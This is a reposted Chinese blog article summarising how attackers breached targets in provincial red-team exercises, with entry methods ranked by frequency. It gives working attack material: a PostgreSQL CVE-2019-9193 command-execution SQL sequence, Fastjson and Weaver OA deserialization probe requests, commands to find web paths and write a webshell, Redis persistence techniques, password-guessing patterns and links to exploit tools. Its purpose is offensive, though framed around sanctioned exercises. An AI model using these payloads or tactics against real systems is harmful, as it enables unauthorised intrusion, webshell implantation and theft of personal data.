攻防演练中攻击方的思考

前言

本篇文章是攻防演练中攻击方是如何打开缺口的方法的总结。
(可能思路狭隘,有缺有错,师傅们多带带)

Author: 0ne

本篇文章数据来源于18+省市级别HVV,90+单位失陷报告。(一部分是笔者的参与,一部分是薅的公司其他师傅的报告)思路朴素不包含钓鱼和叼炸天的0day

突破入口点方法统计图:

攻防演练中得分项只关注两点,权限&数据:权限类型分为系统权限和应用权限,权限高低又分为管理员权限和普通用户权限。数据一般是要四件套,姓名,手机号,身份证,住址。通常敏感数据这样定义,不过看当前的应用可能敏感信息的定义又会不同,比如医院系统,病例信息就算是敏感数据。
根据上述统计结果由高到低选取部分得分方法进行说明。

弱口令[web应用]

弱口令是永远修复不了的漏洞,每场攻防演练都会有弱口令撕开的口子(出现次数29)

这里讨论的是一些web应用的弱口令,不包括统计结果的PostgreSQL/Redis/VPN/Jenkins/Adminer的弱口令。
说起弱口令那就不得不提爆破的技巧了。爆破前应想办法绕过验证码,部分验证码存在不刷新或是有验证的逻辑错误可绕过的情况。通常在忘记密码处可能会存在用户名枚举漏洞。对于用户名字典,根据当前的系统可猜测为姓名简称或是工号ID。也可翻阅当前登录框的JS正则或是Google信息搜索进行合理猜测。在有大量用户基数的情况下,通常固定弱口令遍历用户名效果最佳。在多次通过SQL注入获取登录后台密码md5解密后的情况来看,管理员以域名简称或是系统简称+@年份出现,或是相关的简称的密码概率不小。如:某消防系统/bjtuxfk[xxxx消防科],某妇联后台/gzfl@2020。

好用的字典
https://github.com/fuzz-security/SuperWordlist
https://github.com/gh0stkey/Web-Fuzzing-Box

弱口令[其他]

数据库弱口令只遇见了PostgreSQL/Redis,其它未遇见可能那些常见使用的数据库经常使用,剩下的可能连运维都不知道这开着的。

PostgreSQL(从版本9.3至11.2)任意命令执行漏洞(CVE-2019-9193)

DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'whoami';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;

Redis

连上先info查看Server信息[redis版本和OS信息]:
Redis 4.x/5.x RCE

https://github.com/Dliv3/redis-rogue-server
https://github.com/0671/RedisModules-ExecuteCommand-for-Windows

Linux
写计划任务,写公钥,写webshell[知道web路径]
Windows
写启动项,写webshell[知道web路径]

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
https://github.com/r35tart/RedisWriteFile

windows说实话没遇到过,权限够了,先写启动项,再想办法给它干重启[YY的没打过QAQ]
这两篇windows&redis蛮细的:

https://xz.aliyun.com/t/8153
https://xz.aliyun.com/t/7940

VPN弱口令

如果是WebVPN的话,用户基数大,可以固定弱口令按照学号工号ID爆破。案例中的VPN弱口令是一个客户端,需要下载,密码不像是试出来的,更像是从Google/Git信息泄露,或是知道该员工的手机号扔进裤子里,根据里面的信息拼凑出来的[个人猜测]。

Jenkins弱口令

后台脚本命令行可执行命令,LOLBAS下载执行没啥说的。

Adminer弱口令

mysql写webshell也没啥说的。

shiro反序列化

shiro永远的神!没有shiro我都不知道怎么日站了(出现次数28)

这两年来shiro反序列化可谓是攻防演练中的漏洞利用之首,无论是公司自研的资产收集平台还是git上优秀的项目ShuiZe等等都带着shiro指纹的识别。专找目标的shiro也很简单,目标发散到域名发散到子域名发散到IP到全端口,将这些URL导入shiro识别工具。再跑key,再利用。统计的28个shiro中有27个通过OneforAll或是FoFa等方式收集,其中有一个shiro在微信公众号中找到的。
好用的tools:

https://github.com/pmiaowu/BurpShiroPassiveScan
https://github.com/wyzxxz/shiro_rce_tool
https://github.com/j1anFen/shiro_attack

任意文件上传[通用]

朴实无华(出现次数10)

一般情况下拿shell最快的方法就是找上传,我们应该快速验证上传是否是基于后端的白名单校验。如果是后端的白名单校验,在没有解析漏洞或是其它漏洞的组合下,我们应该放弃该接口。需要注意的是我们在上传文件判断黑白名单时,上传的文件内容最好是无害的,否则可能会WAF干扰。我们一定要清楚该次上传失败是因为程序本身的限制还是WAF的阻拦。切忌对upload接口fuzz,雷声大雨点小。
值得一提的是在统计的10次上传中,有一次在微信小程序,有一个swagger信息泄露upload接口,有一次在某银行的在线聊天系统,点击人工时,会出现传图片的按钮。
客服系统:


还有一个案例:
进入后台通过Kindeditor文件上传,又通过XXXX进行文件管理,有重命名功能,改为.php。getshell。
文件上传绕WAF的本质就是服务器与WAF对数据包解析的差异性,下面提供几个畸形数据包:

Fastjson反序列化

也好用(出现次数6)

判断是否为fastjson:报错抛出异常或是DNSlog

{"rand1":{"@type":"java.net.InetAddress","val":"gbi7ge.dnslog.cn"}}
{"rand2":{"@type":"java.net.Inet4Address","val":"gbi7ge.dnslog.cn"}}
{"rand3":{"@type":"java.net.Inet6Address","val":"gbi7ge.dnslog.cn"}}

遇见WAF:
hex编码或是\b:


详见:

https://www.sec-in.com/article/950
https://xz.aliyun.com/t/7568

好用的tools:

https://github.com/pmiaowu/BurpFastJsonScan
https://github.com/wyzxxz/fastjson_rce_tool
https://github.com/feihong-cs/JNDIExploit

敏感信息泄露

苍蝇再小也是肉(出现次数5)

医院啊,这个比较多遇见的案例都是微信公众号或是小程序,遍历病例数据:

还遇见了swagger信息泄露构造接口查询:

UEditor1.4.3任意文件上传

出其不意(出现次数5)

当遇见.NET的网站时,右键查看图片URL为~/ueditor~/upload/image/[20200101]这种年月格式/25位数字.png,就可以判断该站点使用了UEditor[直接目录扫描工具扫也行],就需要我们拼接出路径~/net/controller.ashx
~前面可能不太固定需要自己在JS里找信息,或是合理猜测。
提一嘴,之前遇见个站点.png?.aspx,站点返回了404,可以直接.png.aspx,同时UEditor有过滤?的特性,在有WAF的时候可酌情使用。

MSSQL堆叠注入

基操

--os-shell后,得到一个命令行,一般是certutil下载执行或是powershell直接上线。也可写入webshell:

找静态资源定位物理路径
for /r C:\ %i in (*xxx*) do @echo %i
dir /s/a-d/b C:\*xxx.xxx
echo ^<一句话^> >C:\phpstudy_pro\WWW\shell.txt
<>注意使用^转义

OA系统

没啥说的,有0day砸0day

泛*OA,致*OA,通*OA,用*NC
github搜搜搜,内部自己有积累未批露利用点最好。
泛*OA的两个案例用的WorkflowServiceXml反序列化比较丝滑。
判断是否可利用:

POST /services%20/WorkflowServiceXml HTTP/1.1
Host: xxxxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 523
Content-Type: text/xml;charest=UTF-8

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="webservices.services.weaver.com.cn">
   <soapenv:Header/>
   <soapenv:Body>
      <web:doCreateWorkflowRequest>
        <web:string>
    <map>
    <entry>
            <url>http://m5alw5.dnslog.cn</url>
            <string>http://m5alw5.dnslog.cn</string>
            </entry>
            </map>
        </web:string>
        <web:string>2</web:string>
      </web:doCreateWorkflowRequest>
   </soapenv:Body>
</soapenv:Envelope>

杂七杂八

胡言乱语

SQL注入获取敏感数据感觉没啥提的,记得sqlmap加上参数random-agent。
S2在外网见的少了,也不知道大佬咋FQ进去的。
历史遗留后门404.jsp成了入口点也是离谱。
各种debug信息泄露云key导入行云管家证明权限就OK。
已经语无伦次了......

闲言闲语

柿子捡软的捏

web打点本就是个效率活,打得就是软柿子,不要给你一个站点测了半天到最后才发现:咦这里有个上传/shiro/fastjson....这就耽误功夫了,要带着目的性,尽量减少试错的过程,少做无用功。

转载于https://xz.aliyun.com/t/10400#toc-11

 

posted @ 2021-11-04 16:22  随风kali  阅读(693)  评论(0编辑  收藏  举报